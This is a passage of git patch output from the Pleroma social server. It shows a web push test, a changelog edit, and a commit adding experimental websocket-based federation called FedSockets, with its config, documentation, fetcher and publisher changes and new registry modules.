assert_called(WebPushHttpClientMock.post("https://example.com/example/1234", :_, :_)) + end + + test_with_mock "uses Pleroma.HTTP as an HTTP client", Pleroma.HTTP, + post: fn _, _, _ -> {:ok, %{status_code: 200}} end do + client = Application.get_env(:web_push_encryption, :http_client) + on_exit(fn -> Application.put_env(:web_push_encryption, :http_client, client) end) + Application.put_env(:web_push_encryption, :http_client, Pleroma.HTTP) + + Impl.push_message(@message, @sub, @api_key, %Subscription{}) + assert_called(Pleroma.HTTP.post("https://example.com/example/1234", :_, :_)) + end + @tag capture_log: true test "fail message sending" do assert Impl.push_message( -- cgit v1.2.3 From 2159daa9af8967fe4b6d31e19c7048979b4cb165 Mon Sep 17 00:00:00 2001 From: Maksim Pechnikov Date: Fri, 18 Sep 2020 07:09:53 +0300 Subject: update changelog --- CHANGELOG.md | 4 ++++ docs/API/pleroma_api.md | 1 - 2 files changed, 4 insertions(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 1266d2dfe..5abafdf69 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -12,6 +12,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). - The `discoverable` field in the `User` struct will now add a NOINDEX metatag to profile pages when false. - Users with the `discoverable` field set to false will not show up in searches. - Minimum lifetime for ephmeral activities changed to 10 minutes and made configurable (`:min_lifetime` option). + ### Removed - **Breaking:** `Pleroma.Workers.Cron.StatsWorker` setting from Oban `:crontab` (moved to a simpler implementation). @@ -20,6 +21,9 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). - Removed `:managed_config` option. In practice, it was accidentally removed with 2.0.0 release when frontends were switched to a new configuration mechanism, however it was not officially removed until now. +### Added +- Pleroma API: Importing the mutes users from CSV files. + ## [2.1.2] - 2020-09-17 ### Security diff --git a/docs/API/pleroma_api.md b/docs/API/pleroma_api.md index 567ad5732..94b6a4fda 100644 --- a/docs/API/pleroma_api.md +++ b/docs/API/pleroma_api.md @@ -60,7 +60,6 @@ Request parameters can be passed via [query strings](https://en.wikipedia.org/wi * `list`: STRING or FILE containing a whitespace-separated list of accounts to mute * Response: HTTP 200 on success, 500 on error - ## `/api/pleroma/captcha` ### Get a new captcha * Method: `GET` -- cgit v1.2.3 From f2ef9735c52c648a03de4af41f19bb4ec857de03 Mon Sep 17 00:00:00 2001 From: Steven Fuchs Date: Fri, 18 Sep 2020 11:58:22 +0000 Subject: Federate data through persistent websocket connections --- CHANGELOG.md | 3 + config/config.exs | 12 ++ config/description.exs | 13 ++ config/test.exs | 5 + docs/configuration/cheatsheet.md | 10 ++ lib/pleroma/application.ex | 9 +- lib/pleroma/object/fetcher.ex | 60 ++++++-- lib/pleroma/signature.ex | 6 +- lib/pleroma/user.ex | 10 +- lib/pleroma/web/activity_pub/activity_pub.ex | 14 +- lib/pleroma/web/activity_pub/publisher.ex | 34 +++-- lib/pleroma/web/activity_pub/transmogrifier.ex | 2 +- lib/pleroma/web/fed_sockets/fed_registry.ex | 185 ++++++++++++++++++++++++ lib/pleroma/web/fed_sockets/fed_socket.ex | 137 ++++++++++++++++++ lib/pleroma/web/fed_sockets/fed_sockets.ex | 182 +++++++++++++++++++++++ lib/pleroma/web/fed_sockets/fetch_registry.ex | 151 +++++++++++++++++++ lib/pleroma/web/fed_sockets/incoming_handler.ex | 88 +++++++++++ lib/pleroma/web/fed_sockets/ingester_worker.ex | 33 +++++ lib/pleroma/web/fed_sockets/outgoing_handler.ex | 146 +++++++++++++++++++ lib/pleroma/web/fed_sockets/socket_info.ex | 52 +++++++ lib/pleroma/web/fed_sockets/supervisor.ex | 59 ++++++++ mix.lock | 2 +- test/web/fed_sockets/fed_registry_test.exs | 124 ++++++++++++++++ test/web/fed_sockets/fetch_registry_test.exs | 67 +++++++++ test/web/fed_sockets/socket_info_test.exs | 118 +++++++++++++++ 25 files changed, 1476 insertions(+), 46 deletions(-) create mode 100644 lib/pleroma/web/fed_sockets/fed_registry.ex create mode 100644 lib/pleroma/web/fed_sockets/fed_socket.ex create mode 100644 lib/pleroma/web/fed_sockets/fed_sockets.ex create mode 100644 lib/pleroma/web/fed_sockets/fetch_registry.ex create mode 100644 lib/pleroma/web/fed_sockets/incoming_handler.ex create mode 100644 lib/pleroma/web/fed_sockets/ingester_worker.ex create mode 100644 lib/pleroma/web/fed_sockets/outgoing_handler.ex create mode 100644 lib/pleroma/web/fed_sockets/socket_info.ex create mode 100644 lib/pleroma/web/fed_sockets/supervisor.ex create mode 100644 test/web/fed_sockets/fed_registry_test.exs create mode 100644 test/web/fed_sockets/fetch_registry_test.exs create mode 100644 test/web/fed_sockets/socket_info_test.exs diff --git a/CHANGELOG.md b/CHANGELOG.md index 1266d2dfe..5e4d06c82 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,6 +5,9 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). ## Unreleased +### Added +- Experimental websocket-based federation between Pleroma instances. + ### Changed - Renamed `:await_up_timeout` in `:connections_pool` namespace to `:connect_timeout`, old name is deprecated. diff --git a/config/config.exs b/config/config.exs index c204814d0..104013b41 100644 --- a/config/config.exs +++ b/config/config.exs @@ -130,6 +130,7 @@ dispatch: [ {:_, [ + {"/api/fedsocket/v1", Pleroma.Web.FedSockets.IncomingHandler, []}, {"/api/v1/streaming", Pleroma.Web.MastodonAPI.WebsocketHandler, []}, {"/websocket", Phoenix.Endpoint.CowboyWebSocket, {Phoenix.Transports.WebSocket, @@ -148,6 +149,16 @@ "SameSite=Lax" ] +config :pleroma, :fed_sockets, + enabled: false, + connection_duration: :timer.hours(8), + rejection_duration: :timer.minutes(15), + fed_socket_fetches: [ + default: 12_000, + interval: 3_000, + lazy: false + ] + # Configures Elixir's Logger config :logger, :console, level: :debug, @@ -532,6 +543,7 @@ token_expiration: 5, federator_incoming: 50, federator_outgoing: 50, + ingestion_queue: 50, web_push: 50, mailer: 10, transmogrifier: 20, diff --git a/config/description.exs b/config/description.exs index 2b30f8148..6f3855918 100644 --- a/config/description.exs +++ b/config/description.exs @@ -270,6 +270,19 @@ } ] }, + %{ + group: :pleroma, + key: :fed_sockets, + type: :group, + description: "Websocket based federation", + children: [ + %{ + key: :enabled, + type: :boolean, + description: "Enable FedSockets" + } + ] + }, %{ group: :pleroma, key: Pleroma.Emails.Mailer, diff --git a/config/test.exs b/config/test.exs index 0ee6f1b7f..93a0e2a61 100644 --- a/config/test.exs +++ b/config/test.exs @@ -19,6 +19,11 @@ level: :warn, format: "\n[$level] $message\n" +config :pleroma, :fed_sockets, + enabled: false, + connection_duration: 5, + rejection_duration: 5 + config :pleroma, :auth, oauth_consumer_strategies: [] config :pleroma, Pleroma.Upload, diff --git a/docs/configuration/cheatsheet.md b/docs/configuration/cheatsheet.md index 054b8fe43..9a275294e 100644 --- a/docs/configuration/cheatsheet.md +++ b/docs/configuration/cheatsheet.md @@ -225,6 +225,16 @@ Enables the worker which processes posts scheduled for deletion. Pinned posts ar * `enabled`: whether expired activities will be sent to the job queue to be deleted +## FedSockets +FedSockets is an experimental feature allowing for Pleroma backends to federate using a persistant websocket connection as opposed to making each federation a seperate http connection. This feature is currently off by default. It is configurable throught he following options. + +### :fedsockets +* `enabled`: Enables FedSockets for this instance. `false` by default. +* `connection_duration`: Time an idle websocket is kept open. +* `rejection_duration`: Failures to connect via FedSockets will not be retried for this period of time. +* `fed_socket_fetches` and `fed_socket_rejections`: Settings passed to `cachex` for the fetch registry, and rejection stacks. See `Pleroma.Web.FedSockets` for more details. + + ## Frontends ### :frontend_configurations diff --git a/lib/pleroma/application.ex b/lib/pleroma/application.ex index c39e24919..00ec79a2a 100644 --- a/lib/pleroma/application.ex +++ b/lib/pleroma/application.ex @@ -99,7 +99,7 @@ def start(_type, _args) do {Oban, Config.get(Oban)} ] ++ task_children(@env) ++ - streamer_child(@env) ++ + dont_run_in_test(@env) ++ chat_child(@env, chat_enabled?()) ++ [ Pleroma.Web.Endpoint, @@ -188,16 +188,17 @@ def build_cachex(type, opts), defp chat_enabled?, do: Config.get([:chat, :enabled]) - defp streamer_child(env) when env in [:test, :benchmark], do: [] + defp dont_run_in_test(env) when env in [:test, :benchmark], do: [] - defp streamer_child(_) do + defp dont_run_in_test(_) do [ {Registry, [ name: Pleroma.Web.Streamer.registry(), keys: :duplicate, partitions: System.schedulers_online() - ]} + ]}, + Pleroma.Web.FedSockets.Supervisor ] end diff --git a/lib/pleroma/object/fetcher.ex b/lib/pleroma/object/fetcher.ex index 24dc7cb95..169298b34 100644 --- a/lib/pleroma/object/fetcher.ex +++ b/lib/pleroma/object/fetcher.ex @@ -12,6 +12,7 @@ defmodule Pleroma.Object.Fetcher do alias Pleroma.Web.ActivityPub.ObjectValidator alias Pleroma.Web.ActivityPub.Transmogrifier alias Pleroma.Web.Federator + alias Pleroma.Web.FedSockets require Logger require Pleroma.Constants @@ -182,9 +183,47 @@ defp maybe_date_fetch(headers, date) do end end - def fetch_and_contain_remote_object_from_id(id) when is_binary(id) do + def fetch_and_contain_remote_object_from_id(prm, opts \\ []) + + def fetch_and_contain_remote_object_from_id(%{"id" => id}, opts), + do: fetch_and_contain_remote_object_from_id(id, opts) + + def fetch_and_contain_remote_object_from_id(id, opts) when is_binary(id) do Logger.debug("Fetching object #{id} via AP") + with {:scheme, true} <- {:scheme, String.starts_with?(id, "http")}, + {:ok, body} <- get_object(id, opts), + {:ok, data} <- safe_json_decode(body), + :ok <- Containment.contain_origin_from_id(id, data) do + {:ok, data} + else + {:scheme, _} -> + {:error, "Unsupported URI scheme"} + + {:error, e} -> + {:error, e} + + e -> + {:error, e} + end + end + + def fetch_and_contain_remote_object_from_id(_id, _opts), + do: {:error, "id must be a string"} + + defp get_object(id, opts) do + with false <- Keyword.get(opts, :force_http, false), + {:ok, fedsocket} <- FedSockets.get_or_create_fed_socket(id) do + Logger.debug("fetching via fedsocket - #{inspect(id)}") + FedSockets.fetch(fedsocket, id) + else + _other -> + Logger.debug("fetching via http - #{inspect(id)}") + get_object_http(id) + end + end + + defp get_object_http(id) do date = Pleroma.Signature.signed_date() headers = @@ -192,20 +231,13 @@ def fetch_and_contain_remote_object_from_id(id) when is_binary(id) do |> maybe_date_fetch(date) |> sign_fetch(id, date) - Logger.debug("Fetch headers: #{inspect(headers)}") + case HTTP.get(id, headers) do + {:ok, %{body: body, status: code}} when code in 200..299 -> + {:ok, body} - with {:scheme, true} <- {:scheme, String.starts_with?(id, "http")}, - {:ok, %{body: body, status: code}} when code in 200..299 <- HTTP.get(id, headers), - {:ok, data} <- Jason.decode(body), - :ok <- Containment.contain_origin_from_id(id, data) do - {:ok, data} - else {:ok, %{status: code}} when code in [404, 410] -> {:error, "Object has been deleted"} - {:scheme, _} -> - {:error, "Unsupported URI scheme"} - {:error, e} -> {:error, e} @@ -214,8 +246,6 @@ def fetch_and_contain_remote_object_from_id(id) when is_binary(id) do end end - def fetch_and_contain_remote_object_from_id(%{"id" => id}), - do: fetch_and_contain_remote_object_from_id(id) - - def fetch_and_contain_remote_object_from_id(_id), do: {:error, "id must be a string"} + defp safe_json_decode(nil), do: {:ok, nil} + defp safe_json_decode(json), do: Jason.decode(json) end diff --git a/lib/pleroma/signature.ex b/lib/pleroma/signature.ex index 3aa6909d2..e388993b7 100644 --- a/lib/pleroma/signature.ex +++ b/lib/pleroma/signature.ex @@ -39,7 +39,7 @@ def key_id_to_actor_id(key_id) do def fetch_public_key(conn) do with %{"keyId" => kid} <- HTTPSignatures.signature_for_conn(conn), {:ok, actor_id} <- key_id_to_actor_id(kid), - {:ok, public_key} <- User.get_public_key_for_ap_id(actor_id) do + {:ok, public_key} <- User.get_public_key_for_ap_id(actor_id, force_http: true) do {:ok, public_key} else e -> @@ -50,8 +50,8 @@ def fetch_public_key(conn) do def refetch_public_key(conn) do with %{"keyId" => kid} <- HTTPSignatures.signature_for_conn(conn), {:ok, actor_id} <- key_id_to_actor_id(kid), - {:ok, _user} <- ActivityPub.make_user_from_ap_id(actor_id), - {:ok, public_key} <- User.get_public_key_for_ap_id(actor_id) do + {:ok, _user} <- ActivityPub.make_user_from_ap_id(actor_id, force_http: true), + {:ok, public_key} <- User.get_public_key_for_ap_id(actor_id, force_http: true) do {:ok, public_key} else e -> diff --git a/lib/pleroma/user.ex b/lib/pleroma/user.ex index 1ffe60dfc..d92484a40 100644 --- a/lib/pleroma/user.ex +++ b/lib/pleroma/user.ex @@ -1820,12 +1820,12 @@ def html_filter_policy(%User{no_rich_text: true}) do def html_filter_policy(_), do: Config.get([:markup, :scrub_policy]) - def fetch_by_ap_id(ap_id), do: ActivityPub.make_user_from_ap_id(ap_id) + def fetch_by_ap_id(ap_id, opts \\ []), do: ActivityPub.make_user_from_ap_id(ap_id, opts) - def get_or_fetch_by_ap_id(ap_id) do + def get_or_fetch_by_ap_id(ap_id, opts \\ []) do cached_user = get_cached_by_ap_id(ap_id) - maybe_fetched_user = needs_update?(cached_user) && fetch_by_ap_id(ap_id) + maybe_fetched_user = needs_update?(cached_user) && fetch_by_ap_id(ap_id, opts) case {cached_user, maybe_fetched_user} do {_, {:ok, %User{} = user}} -> @@ -1898,8 +1898,8 @@ def public_key(%{public_key: public_key_pem}) when is_binary(public_key_pem) do def public_key(_), do: {:error, "key not found"} - def get_public_key_for_ap_id(ap_id) do - with {:ok, %User{} = user} <- get_or_fetch_by_ap_id(ap_id), + def get_public_key_for_ap_id(ap_id, opts \\ []) do + with {:ok, %User{} = user} <- get_or_fetch_by_ap_id(ap_id, opts), {:ok, public_key} <- public_key(user) do {:ok, public_key} else diff --git a/lib/pleroma/web/activity_pub/activity_pub.ex b/lib/pleroma/web/activity_pub/activity_pub.ex index 92fc1e422..06e8e1a7c 100644 --- a/lib/pleroma/web/activity_pub/activity_pub.ex +++ b/lib/pleroma/web/activity_pub/activity_pub.ex @@ -1270,10 +1270,12 @@ defp object_to_user_data(data) do def fetch_follow_information_for_user(user) do with {:ok, following_data} <- - Fetcher.fetch_and_contain_remote_object_from_id(user.following_address), + Fetcher.fetch_and_contain_remote_object_from_id(user.following_address, + force_http: true + ), {:ok, hide_follows} <- collection_private(following_data), {:ok, followers_data} <- - Fetcher.fetch_and_contain_remote_object_from_id(user.follower_address), + Fetcher.fetch_and_contain_remote_object_from_id(user.follower_address, force_http: true), {:ok, hide_followers} <- collection_private(followers_data) do {:ok, %{ @@ -1347,8 +1349,8 @@ def user_data_from_user_object(data) do end end - def fetch_and_prepare_user_from_ap_id(ap_id) do - with {:ok, data} <- Fetcher.fetch_and_contain_remote_object_from_id(ap_id), + def fetch_and_prepare_user_from_ap_id(ap_id, opts \\ []) do + with {:ok, data} <- Fetcher.fetch_and_contain_remote_object_from_id(ap_id, opts), {:ok, data} <- user_data_from_user_object(data) do {:ok, maybe_update_follow_information(data)} else @@ -1390,13 +1392,13 @@ def maybe_handle_clashing_nickname(data) do end end - def make_user_from_ap_id(ap_id) do + def make_user_from_ap_id(ap_id, opts \\ []) do user = User.get_cached_by_ap_id(ap_id) if user && !User.ap_enabled?(user) do Transmogrifier.upgrade_user_from_ap_id(ap_id) else - with {:ok, data} <- fetch_and_prepare_user_from_ap_id(ap_id) do + with {:ok, data} <- fetch_and_prepare_user_from_ap_id(ap_id, opts) do if user do user |> User.remote_user_changeset(data) diff --git a/lib/pleroma/web/activity_pub/publisher.ex b/lib/pleroma/web/activity_pub/publisher.ex index d88f7f3ee..9c3956683 100644 --- a/lib/pleroma/web/activity_pub/publisher.ex +++ b/lib/pleroma/web/activity_pub/publisher.ex @@ -13,6 +13,7 @@ defmodule Pleroma.Web.ActivityPub.Publisher do alias Pleroma.User alias Pleroma.Web.ActivityPub.Relay alias Pleroma.Web.ActivityPub.Transmogrifier + alias Pleroma.Web.FedSockets require Pleroma.Constants @@ -50,15 +51,35 @@ def is_representable?(%Activity{} = activity) do def publish_one(%{inbox: inbox, json: json, actor: %User{} = actor, id: id} = params) do Logger.debug("Federating #{id} to #{inbox}") - uri = URI.parse(inbox) + case FedSockets.get_or_create_fed_socket(inbox) do + {:ok, fedsocket} -> + Logger.debug("publishing via fedsockets - #{inspect(inbox)}") + FedSockets.publish(fedsocket, json) + _ -> + Logger.debug("publishing via http - #{inspect(inbox)}") + http_publish(inbox, actor, json, params) + end + end + + def publish_one(%{actor_id: actor_id} = params) do + actor = User.get_cached_by_id(actor_id) + + params + |> Map.delete(:actor_id) + |> Map.put(:actor, actor) + |> publish_one() + end + + defp http_publish(inbox, actor, json, params) do + uri = %{path: path} = URI.parse(inbox) digest = "SHA-256=" <> (:crypto.hash(:sha256, json) |> Base.encode64()) date = Pleroma.Signature.signed_date() signature = Pleroma.Signature.sign(actor, %{ - "(request-target)": "post #{uri.path}", + "(request-target)": "post #{path}", host: signature_host(uri), "content-length": byte_size(json), digest: digest, @@ -89,15 +110,6 @@ def publish_one(%{inbox: inbox, json: json, actor: %User{} = actor, id: id} = pa end end - def publish_one(%{actor_id: actor_id} = params) do - actor = User.get_cached_by_id(actor_id) - - params - |> Map.delete(:actor_id) - |> Map.put(:actor, actor) - |> publish_one() - end - defp signature_host(%URI{port: port, scheme: scheme, host: host}) do if port == URI.default_port(scheme) do host diff --git a/lib/pleroma/web/activity_pub/transmogrifier.ex b/lib/pleroma/web/activity_pub/transmogrifier.ex index fcca014f0..aa6a69463 100644 --- a/lib/pleroma/web/activity_pub/transmogrifier.ex +++ b/lib/pleroma/web/activity_pub/transmogrifier.ex @@ -1000,7 +1000,7 @@ def perform(:user_upgrade, user) do def upgrade_user_from_ap_id(ap_id) do with %User{local: false} = user <- User.get_cached_by_ap_id(ap_id), - {:ok, data} <- ActivityPub.fetch_and_prepare_user_from_ap_id(ap_id), + {:ok, data} <- ActivityPub.fetch_and_prepare_user_from_ap_id(ap_id, force_http: true), {:ok, user} <- update_user(user, data) do TransmogrifierWorker.enqueue("user_upgrade", %{"user_id" => user.id}) {:ok, user} diff --git a/lib/pleroma/web/fed_sockets/fed_registry.ex b/lib/pleroma/web/fed_sockets/fed_registry.ex new file mode 100644 index 000000000..e00ea69c0 --- /dev/null +++ b/lib/pleroma/web/fed_sockets/fed_registry.ex @@ -0,0 +1,185 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.FedSockets.FedRegistry do + @moduledoc """ + The FedRegistry stores the active FedSockets for quick retrieval. + + The storage and retrieval portion of the FedRegistry is done in process through + elixir's `Registry` module for speed and its ability to monitor for terminated processes. + + Dropped connections will be caught by `Registry` and deleted. Since the next + message will initiate a new connection there is no reason to try and reconnect at that point. + + Normally outside modules should have no need to call or use the FedRegistry themselves. + """ + + alias Pleroma.Web.FedSockets.FedSocket + alias Pleroma.Web.FedSockets.SocketInfo + + require Logger + + @default_rejection_duration 15 * 60 * 1000 + @rejections :fed_socket_rejections + + @doc """ + Retrieves a FedSocket from the Registry given it's origin. + + The origin is expected to be a string identifying the endpoint "example.com" or "example2.com:8080" + + Will return: + * {:ok, fed_socket} for working FedSockets + * {:error, :rejected} for origins that have been tried and refused within the rejection duration interval + * {:error, some_reason} usually :missing for unknown origins + """ + def get_fed_socket(origin) do + case get_registry_data(origin) do + {:error, reason} -> + {:error, reason} + + {:ok, %{state: :connected} = socket_info} -> + {:ok, socket_info} + end + end + + @doc """ + Adds a connected FedSocket to the Registry. + + Always returns {:ok, fed_socket} + """ + def add_fed_socket(origin, pid \\ nil) do + origin + |> SocketInfo.build(pid) + |> SocketInfo.connect() + |> add_socket_info + end + + defp add_socket_info(%{origin: origin, state: :connected} = socket_info) do + case Registry.register(FedSockets.Registry, origin, socket_info) do + {:ok, _owner} -> + clear_prior_rejection(origin) + Logger.debug("fedsocket added: #{inspect(origin)}") + + {:ok, socket_info} + + {:error, {:already_registered, _pid}} -> + FedSocket.close(socket_info) + existing_socket_info = Registry.lookup(FedSockets.Registry, origin) + + {:ok, existing_socket_info} + + _ -> + {:error, :error_adding_socket} + end + end + + @doc """ + Mark this origin as having rejected a connection attempt. + This will keep it from getting additional connection attempts + for a period of time specified in the config. + + Always returns {:ok, new_reg_data} + """ + def set_host_rejected(uri) do + new_reg_data = + uri + |> SocketInfo.origin() + |> get_or_create_registry_data() + |> set_to_rejected() + |> save_registry_data() + + {:ok, new_reg_data} + end + + @doc """ + Retrieves the FedRegistryData from the Registry given it's origin. + + The origin is expected to be a string identifying the endpoint "example.com" or "example2.com:8080" + + Will return: + * {:ok, fed_registry_data} for known origins + * {:error, :missing} for uniknown origins + * {:error, :cache_error} indicating some low level runtime issues + """ + def get_registry_data(origin) do + case Registry.lookup(FedSockets.Registry, origin) do + [] -> + if is_rejected?(origin) do + Logger.debug("previously rejected fedsocket requested") + {:error, :rejected} + else + {:error, :missing} + end + + [{_pid, %{state: :connected} = socket_info}] -> + {:ok, socket_info} + + _ -> + {:error, :cache_error} + end + end + + @doc """ + Retrieves a map of all sockets from the Registry. The keys are the origins and the values are the corresponding SocketInfo + """ + def list_all do + (list_all_connected() ++ list_all_rejected()) + |> Enum.into(%{}) + end + + defp list_all_connected do + FedSockets.Registry + |> Registry.select([{{:"$1", :_, :"$3"}, [], [{{:"$1", :"$3"}}]}]) + end + + defp list_all_rejected do + {:ok, keys} = Cachex.keys(@rejections) + + {:ok, registry_data} = + Cachex.execute(@rejections, fn worker -> + Enum.map(keys, fn k -> {k, Cachex.get!(worker, k)} end) + end) + + registry_data + end + + defp clear_prior_rejection(origin), + do: Cachex.del(@rejections, origin) + + defp is_rejected?(origin) do + case Cachex.get(@rejections, origin) do + {:ok, nil} -> + false + + {:ok, _} -> + true + end + end + + defp get_or_create_registry_data(origin) do + case get_registry_data(origin) do + {:error, :missing} -> + %SocketInfo{origin: origin} + + {:ok, socket_info} -> + socket_info + end + end + + defp save_registry_data(%SocketInfo{origin: origin, state: :connected} = socket_info) do + {:ok, true} = Registry.update_value(FedSockets.Registry, origin, fn _ -> socket_info end) + socket_info + end + + defp save_registry_data(%SocketInfo{origin: origin, state: :rejected} = socket_info) do + rejection_expiration = + Pleroma.Config.get([:fed_sockets, :rejection_duration], @default_rejection_duration) + + {:ok, true} = Cachex.put(@rejections, origin, socket_info, ttl: rejection_expiration) + socket_info + end + + defp set_to_rejected(%SocketInfo{} = socket_info), + do: %SocketInfo{socket_info | state: :rejected} +end diff --git a/lib/pleroma/web/fed_sockets/fed_socket.ex b/lib/pleroma/web/fed_sockets/fed_socket.ex new file mode 100644 index 000000000..98d64e65a --- /dev/null +++ b/lib/pleroma/web/fed_sockets/fed_socket.ex @@ -0,0 +1,137 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.FedSockets.FedSocket do + @moduledoc """ + The FedSocket module abstracts the actions to be taken taken on connections regardless of + whether the connection started as inbound or outbound. + + + Normally outside modules will have no need to call the FedSocket module directly. + """ + + alias Pleroma.Object + alias Pleroma.Object.Containment + alias Pleroma.User + alias Pleroma.Web.ActivityPub.ObjectView + alias Pleroma.Web.ActivityPub.UserView + alias Pleroma.Web.ActivityPub.Visibility + alias Pleroma.Web.FedSockets.FetchRegistry + alias Pleroma.Web.FedSockets.IngesterWorker + alias Pleroma.Web.FedSockets.OutgoingHandler + alias Pleroma.Web.FedSockets.SocketInfo + + require Logger + + @shake "61dd18f7-f1e6-49a4-939a-a749fcdc1103" + + def connect_to_host(uri) do + case OutgoingHandler.start_link(uri) do + {:ok, pid} -> + {:ok, pid} + + error -> + {:error, error} + end + end + + def close(%SocketInfo{pid: socket_pid}), + do: Process.send(socket_pid, :close, []) + + def publish(%SocketInfo{pid: socket_pid}, json) do + %{action: :publish, data: json} + |> Jason.encode!() + |> send_packet(socket_pid) + end + + def fetch(%SocketInfo{pid: socket_pid}, id) do + fetch_uuid = FetchRegistry.register_fetch(id) + + %{action: :fetch, data: id, uuid: fetch_uuid} + |> Jason.encode!() + |> send_packet(socket_pid) + + wait_for_fetch_to_return(fetch_uuid, 0) + end + + def receive_package(%SocketInfo{} = fed_socket, json) do + json + |> Jason.decode!() + |> process_package(fed_socket) + end + + defp wait_for_fetch_to_return(uuid, cntr) do + case FetchRegistry.check_fetch(uuid) do + {:error, :waiting} -> + Process.sleep(:math.pow(cntr, 3) |> Kernel.trunc()) + wait_for_fetch_to_return(uuid, cntr + 1) + + {:error, :missing} -> + Logger.error("FedSocket fetch timed out - #{inspect(uuid)}") + {:error, :timeout} + + {:ok, _fr} -> + FetchRegistry.pop_fetch(uuid) + end + end + + defp process_package(%{"action" => "publish", "data" => data}, %{origin: origin} = _fed_socket) do + if Containment.contain_origin(origin, data) do + IngesterWorker.enqueue("ingest", %{"object" => data}) + end + + {:reply, %{"action" => "publish_reply", "status" => "processed"}} + end + + defp process_package(%{"action" => "fetch_reply", "uuid" => uuid, "data" => data}, _fed_socket) do + FetchRegistry.register_fetch_received(uuid, data) + {:noreply, nil} + end + + defp process_package(%{"action" => "fetch", "uuid" => uuid, "data" => ap_id}, _fed_socket) do + {:ok, data} = render_fetched_data(ap_id, uuid) + {:reply, data} + end + + defp process_package(%{"action" => "publish_reply"}, _fed_socket) do + {:noreply, nil} + end + + defp process_package(other, _fed_socket) do + Logger.warn("unknown json packages received #{inspect(other)}") + {:noreply, nil} + end + + defp render_fetched_data(ap_id, uuid) do + {:ok, + %{ + "action" => "fetch_reply", + "status" => "processed", + "uuid" => uuid, + "data" => represent_item(ap_id) + }} + end + + defp represent_item(ap_id) do + case User.get_by_ap_id(ap_id) do + nil -> + object = Object.get_cached_by_ap_id(ap_id) + + if Visibility.is_public?(object) do + Phoenix.View.render_to_string(ObjectView, "object.json", object: object) + else + nil + end + + user -> + Phoenix.View.render_to_string(UserView, "user.json", user: user) + end + end + + defp send_packet(data, socket_pid) do + Process.send(socket_pid, {:send, data}, []) + end + + def shake, do: @shake +end diff --git a/lib/pleroma/web/fed_sockets/fed_sockets.ex b/lib/pleroma/web/fed_sockets/fed_sockets.ex new file mode 100644 index 000000000..035d54796 --- /dev/null +++ b/lib/pleroma/web/fed_sockets/fed_sockets.ex @@ -0,0 +1,182 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.FedSockets do + @moduledoc """ + This documents the FedSockets framework. A framework for federating + ActivityPub objects between servers via persistant WebSocket connections. + + FedSockets allow servers to authenticate on first contact and maintain that + connection, eliminating the need to authenticate every time data needs to be shared. + + ## Protocol + FedSockets currently support 2 types of data transfer: + * `publish` method which doesn't require a response + * `fetch` method requires a response be sent + + ### Publish + The publish operation sends a json encoded map of the shape: + %{action: :publish, data: json} + and accepts (but does not require) a reply of form: + %{"action" => "publish_reply"} + + The outgoing params represent + * data: ActivityPub object encoded into json + + + ### Fetch + The fetch operation sends a json encoded map of the shape: + %{action: :fetch, data: id, uuid: fetch_uuid} + and requires a reply of form: + %{"action" => "fetch_reply", "uuid" => uuid, "data" => data} + + The outgoing params represent + * id: an ActivityPub object URI + * uuid: a unique uuid generated by the sender + + The reply params represent + * data: an ActivityPub object encoded into json + * uuid: the uuid sent along with the fetch request + + ## Examples + Clients of FedSocket transfers shouldn't need to use any of the functions outside of this module. + + A typical publish operation can be performed through the following code, and a fetch operation in a similar manner. + + case FedSockets.get_or_create_fed_socket(inbox) do + {:ok, fedsocket} -> + FedSockets.publish(fedsocket, json) + + _ -> + alternative_publish(inbox, actor, json, params) + end + + ## Configuration + FedSockets have the following config settings + + config :pleroma, :fed_sockets, + enabled: true, + ping_interval: :timer.seconds(15), + connection_duration: :timer.hours(1), + rejection_duration: :timer.hours(1), + fed_socket_fetches: [ + default: 12_000, + interval: 3_000, + lazy: false + ] + * enabled - turn FedSockets on or off with this flag. Can be toggled at runtime. + * connection_duration - How long a FedSocket can sit idle before it's culled. + * rejection_duration - After failing to make a FedSocket connection a host will be excluded + from further connections for this amount of time + * fed_socket_fetches - Use these parameters to pass options to the Cachex queue backing the FetchRegistry + * fed_socket_rejections - Use these parameters to pass options to the Cachex queue backing the FedRegistry + + Cachex options are + * default: the minimum amount of time a fetch can wait before it times out. + * interval: the interval between checks for timed out entries. This plus the default represent the maximum time allowed + * lazy: leave at false for consistant and fast lookups, set to true for stricter timeout enforcement + + """ + require Logger + + alias Pleroma.Web.FedSockets.FedRegistry + alias Pleroma.Web.FedSockets.FedSocket + alias Pleroma.Web.FedSockets.SocketInfo + + @doc """ + returns a FedSocket for the given origin. Will reuse an existing one or create a new one. + + address is expected to be a fully formed URL such as: + "http://www.example.com" or "http://www.example.com:8080" + + It can and usually does include additional path parameters, + but these are ignored as the FedSockets are organized by host and port info alone. + """ + def get_or_create_fed_socket(address) do + with {:cache, {:error, :missing}} <- {:cache, get_fed_socket(address)}, + {:connect, {:ok, _pid}} <- {:connect, FedSocket.connect_to_host(address)}, + {:cache, {:ok, fed_socket}} <- {:cache, get_fed_socket(address)} do + Logger.debug("fedsocket created for - #{inspect(address)}") + {:ok, fed_socket} + else + {:cache, {:ok, socket}} -> + Logger.debug("fedsocket found in cache - #{inspect(address)}") + {:ok, socket} + + {:connect, {:error, _host}} -> + Logger.debug("set host rejected for - #{inspect(address)}") + FedRegistry.set_host_rejected(address) + {:error, :rejected} + + {_, {:error, :disabled}} -> + {:error, :disabled} + + {_, {:error, reason}} -> + Logger.warn("get_or_create_fed_socket error - #{inspect(reason)}") + {:error, reason} + end + end + + @doc """ + returns a FedSocket for the given origin. Will not create a new FedSocket if one does not exist. + + address is expected to be a fully formed URL such as: + "http://www.example.com" or "http://www.example.com:8080" + """ + def get_fed_socket(address) do + origin = SocketInfo.origin(address) + + with {:config, 